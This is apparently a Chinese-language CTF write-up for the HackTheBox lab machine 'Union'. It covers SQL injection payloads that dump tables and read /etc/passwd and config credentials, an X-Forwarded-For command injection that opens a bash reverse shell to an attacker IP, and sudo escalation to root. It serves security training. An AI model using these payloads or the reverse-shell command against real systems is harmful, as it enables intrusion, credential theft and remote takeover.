> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/union-hackthebox-writeup.md).

# Union HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/Union>" %}

{% hint style="warning" %}
**技能：**

* SQLI（SQL 注入）- UNION 注入
* SQLI - 读取文件
* HTTP 头命令注入 - X-FORWARDED-FOR（远程代码执行）
* 滥用 sudoers 权限（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/697f9fb57aaa65e7c440ae426ac8dc4b128b12c7" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/7a84f10c9d6d9737f0f33b7e803e1939f655762b" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.128 -oG allPorts
```

<figure><img src="/files/522ec59d072ac494d7f9067677ecd1d0787ecdf6" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（80）

```bash
nmap -sCV -p80 10.10.11.128 -oN targeted
```

<figure><img src="/files/aa90c713afda5232f7daaf3e053665c33f8493be" alt=""><figcaption></figcaption></figure>

### 端口 80 - HTTP

<figure><img src="/files/d625710fd17f55bec2e127cbd80847d061272c10" alt=""><figcaption></figcaption></figure>

### 文件列表

使用 gobusteron 将进行带 php 扩展名的文件枚举

```bash
gobuster dir -u http://10.10.11.128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x php,txt
```

有两个文件无法从外部访问： `config.php` 和 `firewall.php`.

<figure><img src="/files/b4b11d8a393af9d86e07241de8b4220764e4add3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d50767844bbb3b1cc4b793f5797f7bcff00afbd4" alt=""><figcaption></figcaption></figure>

在 `index.php`，如果我们在表单中添加一个名字，它就会出现在响应中。

<figure><img src="/files/b5e825e5e6d57ebd6310162bea9788ac55c3343c" alt=""><figcaption></figcaption></figure>

挑战文件要求我们提交一个 flag

<figure><img src="/files/ee5308e298c5e2d95f1f46d4f9157468c9191e80" alt=""><figcaption></figcaption></figure>

## 漏洞 SQLI - UNION 注入

我们使用 Burp Suite 拦截请求并修改变量 `player`:

<figure><img src="/files/6c49c25279d70175f8693593fec8bc3ea4fc4a68" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select database()-- -
```

数据库名称是 `november`.

<figure><img src="/files/edbd8a8d8f475f459af7ef0961b31b2d8c116cea" alt=""><figcaption></figcaption></figure>

要列出所有数据库：

```sql
jordan' union select group_concat(schema_name) from information_schema.schemata-- -
```

结果： `mysql,information_schema,performance_schema,sys, november`

<figure><img src="/files/56049d0b5bce11ec3007f582da53b70bafc8806c" alt=""><figcaption></figcaption></figure>

列出其中的表 `november`:

```sql
jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- -
```

<figure><img src="/files/0adaa4ca6a994c46f69ee060f72b58241bfa0ba3" alt=""><figcaption></figcaption></figure>

列出其中的列 `players` 表：

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- -
```

找到的列： `player`

<figure><img src="/files/965549d02b4f5bd00108f630aa86bfc0e261ada8" alt=""><figcaption></figcaption></figure>

**用户数据提取**

```sql
jordan' union select group_concat(player,':') from players-- -
```

找到的玩家： `ippsec,celesian,big0us,luska,tinyboy`

<figure><img src="/files/d2c8ff0d8a66ed0e3360344fe835bd7a92413d91" alt=""><figcaption></figcaption></figure>

Flag 提取：

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- -
```

<figure><img src="/files/9c73d6a9356971cdb1579fa6a84c402227022f11" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select group_concat(one,':') from flag-- -
```

<figure><img src="/files/c6641799de0835a8d25246b2880e0c2af195b703" alt=""><figcaption></figcaption></figure>

* 找到的 Flag： `UHC{F1rst_5tep_2_Qualify}`

## **SQLI - 读取文件**

读 `/etc/passwd`:

```sql
jordan' union select load_file('/etc/passwd');-- -
```

我们发现一个 `uhc` 用户。

<figure><img src="/files/2068860ddb68d7df3be854add63d83e7bd9eae77" alt=""><figcaption></figcaption></figure>

### user.txt 旗标

读 `user.txt`:

```sql
jordan' union select load_file('/home/uhc/user.txt');-- -
```

<figure><img src="/files/e0ec956d0a1b5f847fa9131a7ff016d7c590207d" alt=""><figcaption></figcaption></figure>

读取 `config.php`，我们找到了数据库凭据：

<figure><img src="/files/194e5a78727714993c2989f632b305a249d83e8a" alt=""><figcaption></figcaption></figure>

<pre class="language-sql"><code class="lang-sql">$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
<strong>$dbname = "november"
</strong></code></pre>

读取 `firewall.php`，我们了解到提交 flag 会打开 SSH 端口：

```sql

jordan' union select load_file('/var/www/html/firewall.php');-- -
```

<figure><img src="/files/222648a6b9ba16512ca7b745dc78bffe4d12605b" alt=""><figcaption></figcaption></figure>

我们提交 flag： `UHC{F1rst_5tep_2_Qualify}`.

<figure><img src="/files/80838552d58ce085bbe69b42b95845dbb3b1a662" alt=""><figcaption></figcaption></figure>

22 端口现在已开放。<br>

<figure><img src="/files/1e231f3a797f3b469a246648600b9c39fbb21231" alt=""><figcaption></figcaption></figure>

### SSH 连接

我们使用识别出的凭据登录：

```bash
ssh uhc@10.10.11.128

uhc-11qual-global-pw
```

<figure><img src="/files/12f71de6b463a74add345523134905c0389a2f4d" alt=""><figcaption></figcaption></figure>

## **权限提升**

### HTTP 头命令注入 - X-FORWARDED-FOR（远程代码执行）

如果你查看 `firewall.php` 文件，你会注意到它会获取 `HTTP_X_FORWARDED_FOR` 头，并将其与 `sudo` 一起用于执行命令：

```php
  if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  } else {
    $ip = $_SERVER['REMOTE_ADDR'];
  };
  system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
```

<figure><img src="/files/c11703cc2772e1cfc97e7be44cdf60717e6aff0e" alt=""><figcaption></figcaption></figure>

由于这个变量可以通过 HTTP 请求控制，我们可以注入任意命令。

**利用**

由于这是一个 HTTP 头，我们可以注入命令，例如使用 `curl` 来联系我们的 Web 服务器。

**搭建一个 Web 服务器：**

```bash
python3 -m http.server 80
```

**使用……进行注入控制 `curl`:**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;curl http://10.10.14.47/test;' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```

{% endcode %}

<figure><img src="/files/7f3e7fda4122aebb1a455ed44709bf4e841e8e17" alt=""><figcaption></figcaption></figure>

**反向 Shell**

**监听 443 端口：**

```bash
nc -nlvp 443
```

**获取远程 shell 的命令：**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >&/dev/tcp/10.10.14.47/443 0>&1";' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```

{% endcode %}

连接后，我们是用户 `www-data`.

<figure><img src="/files/1a67c5f043983b0b02e33779a043b95648502b15" alt=""><figcaption></figcaption></figure>

#### 终端稳定化

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### SUDO - (ALL:ALL)

使用以下命令，我们检查 `sudo` 权限：

```bash
sudo -l 
```

<figure><img src="/files/10185557c633bba8938b39391531f1ae6114f33a" alt=""><figcaption></figcaption></figure>

如果我们看到 `www-data` 可以以任何用户身份执行任何命令（`(ALL: ALL) ALL`），那么我们就可以用以下命令获得 root shell：

```bash
sudo /bin/bash -p
```

<figure><img src="/files/86990f83fbfa4a3dde60b953e66ae96baad745d3" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/ceb7e08b681181acc60ebed4be7a10d9052c9306" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7eba96163ac7be2ba31dd09352e54d540b96de45" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/union-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
